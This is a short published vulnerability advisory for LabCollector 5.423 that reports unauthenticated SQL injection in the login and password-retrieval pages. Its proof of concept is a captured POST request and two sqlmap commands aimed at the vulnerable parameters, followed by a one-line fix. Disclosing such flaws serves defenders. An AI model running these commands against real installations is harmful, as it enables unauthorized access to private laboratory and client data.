LabCollector 5.423 – SQL Injection
# Exploit Title: LabCollector (Laboratory Information System) 5.423 - Multiples SQL Injection # Date: 09/09/2019 # Software Links/Project: https://www.labcollector.com/clientarea/downloads.php # Version: LabCollector (Laboratory Information System) 5.423 # Exploit Author: Carlos Avila # Category: webapps # Tested on: Debian 9 / Win10 # Contact: http://twitter.com/badboy_nt 1. Description LabCollector Lab Services Manager (LSM) is a network based application that helps laboratories, core facilities, biotechs providing services to clients or partners to keep track of samples arriving for processing, track status and generate reports. Billing management is also possible. LSM is a simple and complete lab services LIMS software. Totally configurable by the user, it can be adapted to any situation. This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin or users valid credentials aren't required. In a deeper analysis other pages are also affected with the vulnerability over others inputs. It written in PHP it is vulnerable to SQL Injection on multiples occurrences. The parameters affected are detailed below: http://192.168.0.102/labcollector/html/login.php [parameters affected via POST method: login] http://192.168.0.102/labcollector/html/retrieve_password.php (parameters affected via POST method: user_name) 2. Proof of Concept ---------------------------------------------------------------------------------------------------------------------------------- Post Request: POST /labcollector/html/login.php HTTP/1.1 Host: 192.168.0.102 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 113 DNT: 1 Connection: close Referer: http://192.168.0.102/labcollector/html/login.php Cookie: PHPSESSID=cio2kpq89f4da0b1fhakfn68k7 Upgrade-Insecure-Requests: 1 login=test&pass=hola&action=login&Submit=Sign+In ---------------------------------------------------------------------------------------------------------------------------------- All tests have been performed in a controlled and local environment. sunday:sqlmap badboy_nt$ python sqlmap.py -r SQLI-LabCollectorLogin --random-agent --tamper randomcase -p login --dbms mysql --dbs sunday:sqlmap badboy_nt$ python sqlmap.py -r SQLI-LabCollectorLogin2 --random-agent --tamper randomcase -p user_name --dbms mysql -f 3. Solution: Application inputs must be validated correctly throughout the development of the project. |